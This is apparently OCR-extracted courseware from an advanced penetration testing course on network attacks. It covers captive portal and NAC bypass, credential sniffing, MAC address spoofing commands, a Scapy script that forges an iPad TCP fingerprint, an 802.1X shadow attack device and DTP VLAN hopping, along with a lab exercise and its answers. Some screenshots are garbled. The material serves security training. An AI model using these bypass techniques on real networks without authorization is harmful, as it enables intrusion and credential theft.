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Advanced Penetration Testing, Exploit Writing, and Ethical Hacking: Network Attacks - 660.1 
Welcome to the first section of class, focused on network attacks. In this section, we'll look at advanced 
penetration testing techniques with a focus on network attacks. 

Courseware Version: 001 01 
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Course Roadmap 
• Network Attacks for 

Penetration Testers 
• Crypto and Post 

Exploitation 
• Python, Scapy, and Fuzzing 
• Exploiting Linux for 

Penetration Testers 
• Exploiting Windows for 

Penetration Testers 
• Capture the Flag Challenge 

Day I 

Course Overview 

Ensure Your Success 

Accessing the Network 

Exercise: Captive Portal Bypass Scenario 

Manipulating the Network 

Exercise: Ettercap MITM 

Exercise: BetterCap MITM 

Exercise: Custom BetterCap Proxy Module 

1Pv6 for Penetration Testers 

Exercise: 1Pv6 Attack 

Exploiting the Network 

Exercise: SNMP Enumeration 

Bootcamp 
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Course Overview 
In this module, we will introduce some essential subject matter, concepts, and introductory topics required to 
perform advanced penetration testing and to proceed through this course. 
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Network Attacks 

• The network is full of opportunities and vulnerabilities 

• Gaining a Man-in-the-Middle position 

• Defeating or evading modern network controls 

•Network manipulation 

• VLAN hopping 

• SSL downgrade attacks 

Network Attacks 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking B 

Many networks are based on old technology and protocols. Take the Address Resolution Protocol (ARP). It is 
an archaic protocol that returns a MAC address for a given IP address. This protocol allows for gratuitous 
ARP packets to be sent by anyone, making it easy to trick systems into thinking a MAC address belongs to a 
different IP address than its owner. This works on most modern networks, allowing an attacker to perform a 
Man-in-the-Middle attack and gain a very serious position for attack. 

Newer technology has been introduced to help protect networks against these types of attacks, but this 
technology is often not used, or there are still some vulnerable locations that break down the whole system. 
Still, it is important to understand when these modern controls can be defeated and the techniques to pull it off. 
Manipulating the network allows for access to a great amount of information. Removing security controls such 
as SSL to read otherwise encrypted traffic, jumping from a data VLAN to a voice VLAN to sniff RDP traffic, 
and other forms of attack are all covered in depth in this course, combined with labs to provide practical 
application of the techniques. 
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Escape and Escalation 

• Manipulating services and libraries for 
exploitation 

• Identification of modern OS protections 

• Side-stepping file system defenses 

• Breaking from restricted desktops 

• Enterprise and mass exploitation 

Escape and Escalation 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 10 

The primary goal of the escape and escalate section is to identify and circumvent modem defenses in place on 
operating systems and networks. PowerShell provides both an opportunity to exploit and a powerful capacity 
to manipulate files, processes, and data in Windows enterprise environments. Other third-party attack 
frameworks, combined with modem Metasploit modules, provide ways to overcome present-day defenses in 
fully patched environments. 

A large part of penetration testing is confirming that defenses work as intended. Testing the host defenses such 
as chroot, jail, and complete virtualization is necessary in order to establish what remains to be secured or 
monitored. Side-stepping file system lockdown will provide an opportunity to prove what could happen if a 
defense failed. The restrictions we will examine are focused on file system location, libraries, or running 
processes. Either way, testing the potential is a requirement for assessing the risk of a breach. 
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Reverse Engineering 

• Understanding Intel and AT&T assembly code 

• External function calls versus internal function 
calls 

• Debugging symbols 

• Working with disassemblers 

• Maximizing the effectiveness of debuggers 

• Discovering vulnerable code 

Reverse Engineering 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 1 2  

Reverse engineering is a skill that proves extremely beneficial when performing analysis and bug hunting 
against both commercial and proprietary applications. There are two primary assembly code syntax types on 
x86 processors: Intel and AT&T. Both styles work well, and most researchers end up going with one versus 
the other. It is important to master the basics of disassembled code analysis and to improve your ability to 
quickly identify interesting functions. 

Internal function calls make for interesting targets, as the code is completely developed by the programmer, as 
opposed to using an external function call to a shared library. There are obvious external function calls with 
known vulnerabilities that must also be identified. Often a tester has a very limited amount of time to spend 
reversing, so this time must be optimized to focus on the most interesting and lucrative targets. 

Most vendors do not offer debugging symbols; however, Microsoft does offer them, and any time they are 
available they should be used. Debugging symbols map out the names of all internal functions used by a 
program or library. This makes for much more efficient analysis. Testers often spend a large amount of time 
working with disassemblers such as IDA Pro and objdump, as well as software debuggers. These tools help 
you turn a bug and denial-of-service condition into a working exploit with code execution. 
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Linux Exploitation 

• Understanding system architecture 

• Debugging Linux programs 

• Linking and loading process 

• Identifying privileged programs 

• Stack overflows 

• Defeating modern OS and compiler-time controls 

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 

Linux Exploitation 
A senior penetration tester must understand the inner workings of many operating systems. At the top of that 
list are Linux and Windows. The understanding of any OS requires fundamental knowledge about system 
architecture. This includes a strong understanding of memory management and allocation, processor registers, 
assembly language, stack and heap management, the linking and loading process, and many other areas 
consistent on most systems. Identifying programs that are running with a higher privilege level is key to 
cutting down on the time taken to identify lucrative vulnerabilities. Many OS vulnerabilities are due to stack 
overflow conditions, which is covered heavily later in the course. Many newer systems have operating system 
security and compiler-time controls that have been added over the years. A tester must know when an exploit 
is failing due to one of these controls and know methods to defeat these controls. 

© 2018, Joshua Wright 
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almost always results in problems if exposed to a user. Using functions such as "strncpy()", which allows for 
bounds checking, does not automatically protect the program from being vulnerable. If the size check is bound to 
the size of the input, an overflow condition may still exist. Testers need to think of every way in which a goal in 
programming can be accomplished, and then think of every way that it can potentially be exploited. Leaving out 
anything may result in an undiscovered bug. 

Outside-of-the-box thinking is a generic term not limited to programmatic flaws. Many testers get access to a 
system and are then uncertain as to what to do next. As mentioned in SANS SEC560 Network Penetration 
Testing and Ethical Hacking, gaining access is just the first step. What you do with that access, while staying 
within the rules of engagement and scope, is much more important. The process of collecting network traffic, 
credentials, pivoting through trusted systems, privilege escalation, and exploitation are all important pieces to the 
puzzle, which can almost always be solved. 
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Module Summary 

• A senior penetration tester must succeed when 
others fail 

• Those who can think outside of the box are often 
the most successful 

• Skills should range from network attacks through 
system exploitation 

• Reverse engineering and disassembly is an 
advanced skill 

SEC660 I Advanced Pen Testing. Exploit Writing, and Ethical Hacking 17 

Module Summary 
In this module, we covered high-level subject matter that will be researched and used throughout the course. It 
is critical for a senior penetration tester to think outside of the box and come up with solutions to complex 
problems. There are many testers who feel there is always an answer to a problem, even if they were unable to 
come up with the solution. This is written up as a level of uncertainty when completing an assessment. Some 
of the areas covered are very advanced and require that a tester dive into the subject matter and develop a 
passion for it. 
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Windows I O Setup (2) 

• Log in to Windows using 
student/ sansinsti tu te 

• Press (or use VMware to send) 
CTRL+ALT+DEL 
• Click Change a Password 

• Enter the old password and your 
new password selection 

• Please don't forget your new 
password! 

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 

Windows 10  Setup (2) 
After Windows boots, log in with the usemame and password "student" and "sansinstitute". Press 
CTRL+ALT+DEL (or send CTRL+ALT+DEL from the VMware menu) then click Change a Password. Enter 
the old password and a new password of your choosing, then press Enter. 
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• When prompted, select "I copied it" 

Kali Linux Setup (I) 

Tm wtual machtt nwght ha heel moved or �-

In order to configwe cert.Ml management and networlong 
�atures, are Playe- nreds to know if wtual madvle 
was moved or copied. 

If you don't mow, answer 1 Coped It". 

I Moved It I � It 
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When you launch VMware with Kali Linux for the first time, VMware will prompt you concerning whether 
the virtual machine was moved or copied. Select "l copied it", then click OK. Start the guest to launch the 
Kali Linux environment. 
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VP N Configuration vlive and OnDemand 

• If you are attending via vLive or OnDemand, you 
will receive an email with instructions for getting 
networked 

• The email will explain how to : 
• Download the Open VPN install files for Windows and 

Linux and your certificates 
• Install Open VPN on Windows and Linux, and place 

your certs in the appropriate place 

SEC660 I Advanced Pen Testing, Exploit Writing. and Ethical Hacking 30 

VPN Configuration vLive and OnDemand 
Detailed instructions are provided for anyone attending via vLive or OnDemand. 
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Network Attacks 

• Focusing on exploiting network services 
• Getting Access to the Network 

• Manipulating the Network 

• Exploiting the Network 

• Emphasis on common network protocols and 
architectures 
• Obscure stuff is great too, but less commonly applicable 

Network Attacks 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 32 

In the remainder of this section's material, our focus is on exploiting the network itself, and supporting 
technology. We'll start out by looking at techniques for getting access to the network, through privilege 
escalation or other means. Once we have access to the network, we'll look at manipulating the network for our 
benefit. With access and a creatively manipulated network under our control, we'll look at exploiting network 
services and systems. Throughout the day we'll side-step a little to look at exploiting clients, servers, routers, 
and switches as well, though our main focus will be toward building a level of access that can be used to 
exploit and manipulate your target organization. 

We won't be able to cover every type of network system in this section, but we'll focus on the common 
network protocols and architectures found in modern networks. There are a lot of more obscure target systems 
available with interesting exploitation methods, but these are less commonly applicable compared to common 
protocols  and systems. 
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Exploiting the Network 

• Leverage MITM position to exploit devices 
• Plaintext protocols, SSL, SSH, custom protocol 

manipulation 

• Exploit critical network services 
• SNMP, TFTP 

• Demonstrate the compromise impact 

Goal: Uti l ize the manipulated network to exploit vulnerable protocols and 

network services to show attack impact. 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 35 

Exploiting the Network 
Once we have gained access to the network and are in a MITM position, we'll look at our many options to 
exploit devices and systems. Among our target list will be exploitation opportunities against plaintext and 
encrypted protocols and custom protocol manipulation as well. We'll look at exploiting critical network 
services such as SNMP and TFTP, and exploiting common client protocols and update processes. In this 
section, we'll reinforce all the techniques we've built so far and utilize the skills we've developed to 
demonstrate to our customers the impact of compromised networks and systems. 

Our goal in this final section will be to utilize our network access and network manipulation techniques to 
exploit vulnerable protocols and systems, demonstrating the impact of attacks and compromises. 
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• Network Admission Control 
• One name, many meanings 

• Represents an access restriction to overcome 
• May require authentication, or other system validity 

check to gain further access to the network 

• Implemented in many ways, with varying levels of 
realized security 
• "Ensure clients are patched and have AV" to "Encrypted 

authentication with a token is required for all users" 

SEC660 I Advanced Pen Testfng, Exploit Writing, and Ethical Hacking n 

NAC 
Network Admission Control (NAC) has been a tumultuous technology with a variety of incompatible solutions 
and techniques. While NAC has many different meanings, it essentially represents an access restriction we 
should overcome as a penetration tester. 

Systems that utilize NAC leverage a method of network control, requiring end-users to perform some kind of 
authentication or system policy validation before being granted access to the network. This can be 
implemented with varying levels of security scrutiny and requirement, with some organizations minimally 
requiring that all clients are patched with current antivirus signatures before accessing the network. Other 
organizations may require sophisticated two-factor token authentication, system posture and client operating 
systems checks and enforcement of access privileges to certain systems based on the client login credentials. 

We'll look at various techniques for implementing and circumventing or bypassing NAC systems by first 
illustrating the policy requirement and implementation of the NAC system, and then by pointing out flaws we 
can leverage to our advantage. 

© 2018, Joshua Wright 37 
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Captive Portal Authentication 

• An initial barrier in some • 
• 

networks 

• Inline or OOB 
management 
• Captive Portal changes 

VLAN with SNMP post­
auth. 

• IP and/ or MAC used to 
validate authenticated 
clients 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking 

Captive Portal Authentication 
Clientless NAC systems often leverage a captive portal authentication system to validate a user's identity 
before granting access to the network. When a cl ient connects to the network and opens a web browser, the 
captive portal system redirects the HTTP requests with a temporary redirect message (HTTP/302) to the 
captive portal server itself. Presenting a form for usemame and password authentication, the captive portal 
server will drop all (or most) traffic until the user successfully authenticates. 

Once authenticated, the captive portal server will grant access to the network. If the captive portal server is 
using out-of-band (008) management, it may use SNMP or an interactive session to grant the end-user access 
to a second VLAN that has internal network access. We'll look at VLAN manipulation and hopping techniques 
later in this module. 

If the captive portal server uses inline management, it will grant access to the victim system following 
successful authentication. The captive portal server uses the client's MAC address, IP address, or both to 
validate all traffic as having originated from an authenticated client. 

© 2018, Joshua Wright 
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Exploiting Web Authentication 

• Internal captive portal servers may not use SSL 
for credential protection 

• We'll examine other SSL attacks later 
.:. 

23/08/2010 - 13:39:45 6. 

HTTP 

Ho,t, ! ¢i APR ! + Rl)otln9 ! p. �os,wo<ds 

"ttp:i/www.ox,d.1t 

Tracc,oute Ill CCDU 

Client URL 
172.16.0.1 15 io,h IrnnCh3FaMc.r... httpd/www. 

VoIP i 
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Exploiting Web Authentication 
Surprisingly frequently (in this author's experience), internal captive portal servers do not use SSL to protect 
the delivery of network credentials. Thus, the ability to observe successful network authentication will yield an 
attacker valid credentials to use for accessing the network. A simple tool for monitoring the network for 
successful HTTP credential authentication is Cain (www.oxid.it). Reading from a live network interface 
(Ethernet or wireless in monitor mode) or from a packet capture file, Cain will inspect HTTP traffic for 
common form field values corresponding to authentication credentials. As shown on this slide, Cain has 
identified the HTTP server and client addresses, usemame, and password information, including the URL of 
the web location where the credentials were submitted. To access this information, click on the "Sniffer" tab 
near the top of the window, then click on the "Passwords" tab near the bottom. 

For Cain to recognize a username and password field combination, it must be configured with the HTTP form 
field names to search for. A list of common HTTP form field names is included with Cain by default, 
including "vb _login_ username", "logonusername", "user _security _password" and some non-English spellings 
such as "in_benutzername". Clicking Conf igure I HTTP Fields allows you to add additional fields as 
needed. 

Note that Cain does not validate that credentials are successful after being observed. If a user fails 
authentication, Cain will still present the failed authentication credentials in the Sniffer tab. 

Later in the material we'll look at exploiting SSL-based captive portal authentication systems . 
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User Impersonation 

• Inline captive portal systems validate prior 
authentication using MAC/IP 
• Impersonate authenticated user 

• Problem with active clients and IP /MAC address 
conflict 

• Few users will log out when leaving 

• Solution: Impersonate departed, but still 
authenticated, user 

User Impersonation 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking -42 

In line captive portal systems are also responsible for bridging or routing traffic from the untrusted network to 
the trusted network, relying on client MAC and/or IP address information to validate previously authenticated 
users. Knowing this, we have an opportunity to bypass captive portal authentication by impersonating a 
previously authenticated user by assuming their MAC address and IP address. 

While assuming another user's IP address and MAC address is straightforward, ifwe impersonate a user who 
is still on the network we will generate IP address conflict problems. Windows and OS X users will see a 
warning indicating an IP address conflict, which may alert administrators as to the presence of an attack. 
Further, the attacker will be unable to transmit TCP traffic reliably, since each SYN+ACK response will 
inevitably be reset by the user being impersonated. 

Despite these limitations, user impersonation for bypassing captive portal authentication can be a useful and 
somewhat stealthy technique. With captive portal systems, few users will logout when they are finished 
computing, leaving their session authenticated. With the ability to impersonate users, and identify users who 
are inactive but still authenticated, an attacker can evade the challenges associated with impersonating a user 
who is still present on the network. 

© 2018, Joshua Wright 
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MAC Address Impersonation 

ity y at n 1•ue o __J 

Se t t in!I ttnc on ad pte1• ' Wil•&less Ne twork Conne c t ion' to 000102030405 • • •  
d pte1• I D  is C50B86984-2CC.E--1C10-BAA1 -0?34BC1RSSCC} 
o s c t t ing d pter • • •  
one ------------------------------. 

• •  ,111acshif t >_ erminal - bash - 58x5 

mymac :~ $ sudo ifconf ig en0 ether 00 :01 :02 :03 :04 :05 
mymac :~ $ I 

root@bt : -# ifconfig eth0 down 
-----�root@bt : # ifconfig eth8 hw ethe r 80 ; 01 : 02 : 83 : 04 : 05 

root@bt : ··# if con fig eth0 up 

Warning: Some drivers wi l l  not honor alternate MAC addresses 
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MAC Address Impersonation 
Impersonating the MAC address of another device is trivial on almost any platform. On Windows systems, 
one tool is macshift (http://macshift.natetrue.com), which allows you to identify the interface name with the "­
i" argument, followed by the desired MAC address. At the time of this writing, the macshift.natetrue.com 
website is offline; an alternative tool for MAC address spoofing on Windows is available at 
https://github.com/matthewlinton/Windows-Scripts/blob/master/macblast/Lib/macshift.exe if the natetrue.com 
website remains offline. 

On OSX systems, the built-in "ifconfig" utility can be used to change the MAC address. Simply open a 
terminal session and with super-user privileges, run the following command: 

# i f conf ig enl ether 0 0 : 0 1 : 02 : 0 3 : 04 : 0 5 

Replace the interface name and MAC address with the desired values. 

On Linux syslt:rns, lht: ifconiig utility can also be used to change the MAC address, with a minor variation 
from the OSX example: 

# i f conf ig eth0 down 
# i f conf i g  eth0 hw ether 0 0 : 0 1 : 02 : 0 3 : 04 : 0 5 
# i f conf ig eth0 up 

On Linux systems, many drivers require that the network interface be configured in a down state prior to 
changing the MAC address (using the " i f config eth0 down" command). Once the MAC address is 
changed, we can place the interface back into the up state and request a DHCP address and get the same IP 
address as the victim within the OHCP lease duration. 
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Note that some drivers, notably Windows wireless and Ethernet cards, may not honor alternate MAC address 
settings. Tools such as "macshift" will report success, but will not be effective. It is best to test your tools in a 
lab environment to validate their operation before attempting to use them in a production environment. 

© 2018, Joshua Wright 







) 

) 

) 

System Validation 

• NAC attempts to validate the MAC prefix matches 
the OS 
• Browser User-Agent matching 
• Passive OS fingerprinting 

• JavaScript OS validation 

• May be necessary to manipulate the attacker 
system to keep up the ruse 

We'l l  use iOS I O  as our impersonation target for examples 
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System Validation 
To prevent people from bypassing the NAC system, vendors introduced additional system validation checks 
beyond MAC OUI val idation. These checks aim to validate that the MAC OUI and additional settings al l 
support the identity of the system, including: 

• Web Browser User-Agent Matching: The NAC will inspect HTTP traffic to identify the HTTP User­
Agent string, ensuring that it does not wrongfully reveal an operating system or platform that does not 
match the other criteria. 

• Passive OS Fingerprinting: By passively observing traffic on the network, the NAC vendor identifies 
the client operating system in use, differentiating Windows, Linux, OS X and embedded platforms. 

• JavaScript OS Validation: Some NAC systems will insert custom JavaScript into the HTTP response to 
collect information about the client's browser Domain Object Model (DOM). 

While these methods make it more difficult to impersonate devices with a policy exception, a cautious attacker 
can still impersonate any system if they have prior knowledge as to how the system with the exception policy 
behaves. For our examples, we'lI examine how an attacker can impersonate an Apple iPad device with iOS 1 0. 
Knowledge of how the iPad platform behaves is useful, as it is universally not supported by clientless NAC 
agents (due to limitations in the Safari browser and Apple's walled-garden client software approach) and yet 
popular in many organizations as a client device. 
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Description: iOS 10 iPad 
User Agent: Mozilla/5.0 (iPad; CPU OS 1 0_0 like Mac OS X) AppleWebKit/602.1 .50 (KHTML, like Gecko) 
Version/I 0.0 Mobile/14A5345a Safari/602.1 
App Code Name: Mozilla 
App Name: Netscape 
App Version: 5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/602.1 .50 (KHTML, like Gecko) 
Version/1 0.0 Mobile/14A5345a Safari/602.1 
Platform: iPad 
Vendor: Apple Computer, Inc. 
Vendor Sub: <blank> 
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TCP Stack Fingerprinting 

• Simple enhancement for inline CP gateways 
• Leverage passive fingerprints for additional OS 

validation enforcement 

• Alert on clients who fail fingerprint vs. MAC OUI, 

p0f - passive os fingerprinting ut i l i ty ,  version 2 . 0 . 8  
( C )  M .  Zalewski < lcamtuf@dione . cc> , W .  Stearns <wstearns@pobox . com> 

p0f : listening ( SYN )  on ' eth0 ' , 2 6 4  s igs ( 14 generic ,  cksum 3 E7CD3 3 9 ) , rule : 
' al l ' . 
1 0 . 1 0 . 1 0 . 1 0 4 : 4 7 6 3 8  - Linux 2 . 6  (newer , 2 )  ( up :  1 1 9 3 0  hrs ) 

- >  1 0 . 1 0 . 1 0 . 1 1 0 : 8 0 (distance 0 ,  link : ethernet/modem) 

50 

TCP Stack Fingerprinting 

SEC660 I Advanced Pen Testing, Exploit Writing, and Ethical Hacking so 

An additional method used for identifying the OS of clients in a NAC environment is through TCP stack 
fingerprinting. Primarily used by inline captive portal systems, the gateway can passively monitor TCP traffic 
to identify characteristics that correlate to the known platform. This technique is similar to that used by the 
open-source tool "p0f', which examines TCP SYN frames for the following characteristics: 

• Initial Time To Live (TTL) 
• TCP Window Size 
• Overall frame size for initial TCP SYN frames 
• Status of the Don't Fragment (DF) flag 
• Value of the Maximum Segment Size 
• Value of the TCP Window Scale 
• Behavior of the TCP Timestamp option 
• Status of the Selective ACK flag 
• Order and presence of TCP flags including NOPs 
• Unique quirks for the TCP SYN packet (such as packet data following TCP options) 

This slide includes an example of the output from p0f characterizing a Linux client. Similar functionality is 
used by many NAC vendors to reject client systems who attempt to access policy exceptions. 
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Scapy iPad-like TCP Connection 

# ! /usr/bin/python 
from scapy . all  import * 
DSTIP= " l0 . 10 . 10 . 11 0 "  # Specify your target where NAC will observe it 
SPORT=RandNum ( 1024 , 65 5 3 5 )  
ip= I P ( dst=DSTIP ,  flags = " DF " , ttl=64 ) 
tcpopt = [ ( "MSS " , 14 6 0 ) , ( "NOP" , None ) , ( "WScale " , 2 ) , ( "NOP " , None ) , 

( "NOP " , None ) , ( " Timestamp " , ( 12 3 , 0 ) ) ,  ( " SAckOK" , " " ) , ( " EOL " , None ) 
SYN=TCP ( sport=SPORT , dport= 8 0 , flags= " S " , seq=l0 , window=0xfff f ,  opt ions=tcpopt ) 

SYNACK=srl ( ip/SYN) # Send the packet and record the response as SYNACK 
my_ack = SYNACK . seq + 1 # Use the SYN/ACK response to get initial seq.  number 
ACK=TCP ( sport=SPORT , dport= 8 0 ,  f lags= "A" , seq=l l ,  ack=my_ack, window=0xf f f f )  
send ( ip/ACK) 
data = "GET / HTTP/1 . 1\r\nHost :  " +  DSTIP + " \r\ Mozilla/5 . 0  ( iPad ; CPU iPad OS 1 0_0 l ike Mac OS 
X)  [ . . .  ] \r\n\r\n " 
PUSH=TCP ( sport=SPORT , dport=8 0 ,  flags= " PA" , seq= l l ,  ack=my_ack , window=0xf f f f )  
send ( ip/PUSH/data )  

RST=TCP ( sport=SPORT , dport = 8 0 ,  f lags= " R " , seq=ll , ack= 0 ,  window=0xff f f )  
send ( ip/RST) 

p0f : l i stening ( SYN) on ' eth0 ' ,  2 s igs (0 generi c ,  cksum 3 0F2 C5C6 ) , rul e :  ' all ' . 
10 . 1 0 . 1 0 . 104 : 6 0 0 7 3  - iOS Apple iPad/ iTouch/iPad (up : 0 hrs ) 
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Scapy iPad-like TCP Connection 
The Scapy script on this slide creates a TCP SYN frame with TCP options, IP options, TTL, and windows size 
matching that of an iPad. The "sr I ()" function sends the TCP SYN and receives the associated response in the 
variable SYNACK. The initial sequence number (ISN) of the responding host is incremented by one 
("SYNACK.seq + 1 ") and used in the third frame, completing the three-way handshake. Finally, an HTTP 
GET request is sent, including the User-Agent of the iPad's Safari browser. 

Using this script, the p0ftool identifies the traffic as an "iOS Apple iPad/iTouch/iPad" device, sufficiently 
fooling a NAC device into thinking the TCP stack is of an iPad or related device. Once you complete the 
three-way handshake and send data, the NAC system wil l pass the client for this TCP fingerprint check, 
allowing you to disable the local firewall rules we created earlier ("iptables -F") and use your native operating 
system TCP stack. 
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Exercise: Captive Portal Bypass Scenario 

• Phaos Gaming develops multi-user dungeon 
games for multiple platforms 

• A NAC control point protects internal access to 
beta game testing servers 

• You must get access to the World of Phaos RPG, 
bypassing the NAC server 
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Exercise: Captive Portal Bypass Scenario 
Phaos Gaming is a small on line role-playing game (RPG) development company, suppo11ing multiple device 
platforms. Phaos Gaming frequently offers access to beta versions of upcoming games for testing purposes, 
leveraging a Network Admission Control (NAC) point. Various developers in Phaos Gaming have access to 
the user account provisioning system in the NAC server to grant access to various users and devices as needed. 

Your goal in this exercise is to access the World of Phaos RPG server, bypassing the NAC server. Your 
objectives are to apply multiple NAC bypass techniques that we reviewed in the module. This exercise will 
take approximately 20 minutes to complete. 

Note: If you are completing this exercise online, remember to use the "tapO" interface instead of the "ethO" 
interface shown on this page. 

World of Phaos sword image courtesy ofworldofphaos.com. 
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Exercise: Captive Portal - Lab Resources 

• Use Kali Linux for this exercise 

• Configure your system to route traffic to the 
10.10 .10 .69 server as shown 

• We've configured Kali with User Agent Switcher 
and an OUI allocation file 

• Attempt to access the World of Phaos game server 
http://wophaos.sec66o.org 

# route add -net 192 . 1 6 8 . 1 . 0/24  gw 10 . 10 . 1 0 . 6 9 
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Exercise: Captive Portal - Lab Resources 
For this exercise, you will use Kali Linux as the attack platform. From a terminal prompt, configure your local 
routing table to use the host at 1 0. 1 0. 1 0.69 as the gateway for the 1 92. 1 68. 1 .0/24 network, as shown on this 
page. The User Agent Switcher add-on has been added to the Firefox browser. A copy of the oui.txt file has 
been copied to /usr/local/share/oui.txt. 

In this exercise, you will attempt to access the World of Phaos game server at http://wophaos.sec660.org. 
Bypass the NAC system to obtain access to your target. 

If you are completing this course as an online student, remember to reference the "tap0" interface instead of 
"eth0". When adding a route on Linux, online students can also add the "dev tap0" option to the end of the 
route command ("route add -net 1 92. 1 68. 1 .0/24 gw I 0. 1 0. 1 0.69 dev tap0") to explicitly identify the route 
needed to access the lab network. 
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Exercise: Captive Portal - Answers Fol low 

• STOP! Answers for the Captive Portal Bypass 
exercise follow 

• Proceed only after you have exhausted your 
options for completion on your own 

• Each page gives you a little more help if you get 
stuck 
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Exercise: Captive Portal - Answers Follow 
Answers to the lab exercise follow; proceed no further unless you have exhausted your options for completing 
the exercise on your own. Each page that follows gives you a little more help in case you get stuck. 
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Exercise: Captive Portal - MAC Address Spoofing 

• Change your MAC address to utilize an Apple OUI 
prefix as shown below 

• Return to your browser and open 
http:/ /wophaos.sec66o.org 

# grep Apple /usr/ local/share/oui . txt [ grep hex 
output trimmed for space 
F 8 - 1E-DF ( hex) Apple , Inc 
FC- 2 5 - 3 F  ( hex ) Apple ,  Inc . 
# i fconfig eth0 down 
# i fconfig eth0 I grep ether 
ether 0 0 : 0c : 2 9 : ld : e2 : 4 1  txque1Jelen 1 0 0 0  ( Ethernet ) 
# i fconfig eth0 hw ether f 8 : le : df : ld : e2 : •l l  
# i fconfig eth0 up 
# route add -net 1 9 2 . 16 8 . 1 . 0 / 2 4  gw 10 . 1 0 . 10 . 6 9 eth0 

64 
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Exercise: Captive Portal - MAC Address Spoofing 
In the example on this page, we use the grep utility to search through the oui.txt file for any strings that 
mention "Apple". We can use any of these OU! prefixes to impersonate a legitimate Apple device MAC 
address with the ifconfig utility. 

First, place the virtual Ethernet adapter in the down state. Next, identify your current MAC address by running 
the ifconfig utility, as shown. 

Using the same last three bytes as your legitimate MAC address, impersonate the OUI of an Apple device 
using the ifconfig as shown. Finally, place the interface into the up state, and re-add your default gateway. 

Note: If you are completing this exercise online, remember to use the "tap0" interface instead of the "eth0" 
interface shown on this page. 

© 201 8,  Joshua Wright 







Exercise: Captive Portal - The Point 

• Many lightweight NAC systems use weak 
authentication controls 

• Mobile devices often obtain a policy exception due 
to platform limitations 
• No Java or Flash, lack of consistent management 

controls for device configuration, etc. 

• Exceptions to policies create opportunities for 
exploitation 
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Exercise: Captive Portal - The Point 
In this exercise, you exploited a captive portal server that was acting as a simple network admission control 
system. Many commercial NAC systems are used by enterprise networks with similarly weak authentication 
controls, designed primarily for ease of deployment rather than robust security implementation. 

Many NAC systems will open an exception policy for mobile devices, granting access only after device 
fingerprinting methods from vendors such as Cisco, Juniper, Aruba Networks, and Bradford Networks 
successfully characterize the device. While more rigorous security mechanisms are available, they seldom 
scale well to unmanaged or poorly managed mobile devices that lack other dynamic software-based validation 
mechanisms such as ActiveX, Java, and Flash. 

While these weaker captive portal systems can be evaded in many deployments, stronger options for NAC also 
exist that rely on the IEEE 802. 1 X authentication protocol. We'll examine IEEE 802. 1 X and the various EAP 
mechanisms it utilizes for authentication next. 
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Pwn Plug 802. 1 X Shadow 

• Commercial plug-and-hack tool from 
Pwnie Express 

SSH 
SOCKS 

• Uses a built-in Ethernet port and a 
separate USB Ethernet device for MITM 

• Waits for HTTP traffic from downstream 
victim, then impersonates MAC and IP 

• Creates SSH connection with SOCKS proxy 
reverse connection 

• Grants attacker remove access to internal 
network 

Swltch --
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Pwn Plug 802.1X Shadow 
The Pwn Plug from Pwnie Express (https://www.pwnieexpress.com/) is a commercial plug-and-hack tool with 
many useful features. Intended to be plugged into a target network and used remotely, the Pwn Plug includes a 
useful feature for performing IEEE 802. l X shadow attacks. 

When combined with a supported USB Ethernet adapter, the Pwn Plug can be used as a MITM device 
between a valid IEEE 802. 1 X device (such as a phone or a printer) and the network switch. The Pwn Plug will 
silently bridge all traffic between the two devices and watch for downstream HTTP activity from the IEEE 
802.1 X authenticator. When an HTTP packet to a server on port 80 is detected, the Pwn Plug will assume the 
victim's MAC address and IP address, and create an outbound SSH session to a SSH server controlled by the 
attacker. Using the SSH reverse SOCKS Proxy feature, the attacker can use this inbound connection with 
proxychains and other SOCKS-proxy aware tools to access internal assets within the victim organization from 
the access level of the victim IEEE 802. 1 X authenticator. 

The Pwn Plug R3 is available at https://store.pwnieexpress.com/product/pwn-plug-r4/ for $ 1 ,095 . 
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VLAN Manipulation 

• Several possibilities to leave current VLAN on the 
switch 

• Will examine tools and techniques 

• Sample Cisco IOS configs supplied for 
comparison 
• Experience with I OS not necessary 

• Many attacks work against other platforms as well; will 
note Cisco only 

VLAN Manipu lation 
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VLAN segments are often used to isolate traffic away from sensitive systems or devices. Several possibilities 
exist where an attacker may bypass these restrictions through VLAN manipulation or VLAN hopping attacks. 
We'll look at several techniques for bypassing VLAN restrictions next, demonstrating the VLAN configuration 
syntax for Cisco IOS switches that replicate the environments we are exploiting. 

Experience with Cisco IOS is not necessary to understand these attacks, nor are the attacks limited to Cisco 
devices. Many of these attacks are opportunities against other switch vendors, though the protocols and 
implementation techniques may differ slightly. 
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DTP Traffic 
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0020 !55 74 2d 76 74 70 00 00 02 00 05 04 00 03 CIO 05 
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DTP Traffic 

On a penetration test, this author always takes a packet capture for several minutes on the wired interface 
connected to the switch, starting the capture process right before plugging in. After stopping the packet 
capture, applying a display filter such as "dtp", as shown in this slide, will reveal the presence of DTP frames, 
indicating that the switch port is vulnerable to a DTP VLAN hopping attack. 

Expanding the protocol header for a DTP frame will reveal several useful pieces of information, including the 
VLAN Trunking Protocol domain name (if configured), the status of the port, and the DTP type. The status 
values 2, 3, 4, and 0x8 l on Cisco switches indicate that the port is configured to negotiate with the connected 
device as a trunk port. The DTP type value indicates that port is configured to support 802. 1 Q when the value 
is 0x45. 
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DTP VLAN Attack 2 

- yershiia 8. 7 ,  1 by Slay 6i tomac - OTP mode 
Neighbor•ID Sta ..----- -----------� l:n t \.��ll 
OOCE8460S95 ACC '"'"(" l'�t 00;19:os,n:oc :D•I 10 SOI' ll:H :00 
00190693DC04 TijU ,,. .. "' UOII • ·M Qt:80 : 0C :Cc :cc , cc 10 Sop lJ : 22 ;01 
OC7fc&460%5 TRU Vor··"'" 01 lO S p 13 ,il : old 

lle1qhbor-l0 t,�J90�vJOliJ,1 
Stntu, 84 Tl1Utl�//\.Uro 

rypo �� HD2. 10/89l. lO 
0.. 1 �n ,orr,in t •Vtp 

T�ul 19 
lat tfo• � • hn 

- q , H�hR: t'Xit 
Total Packets:  1077 --- OTP 
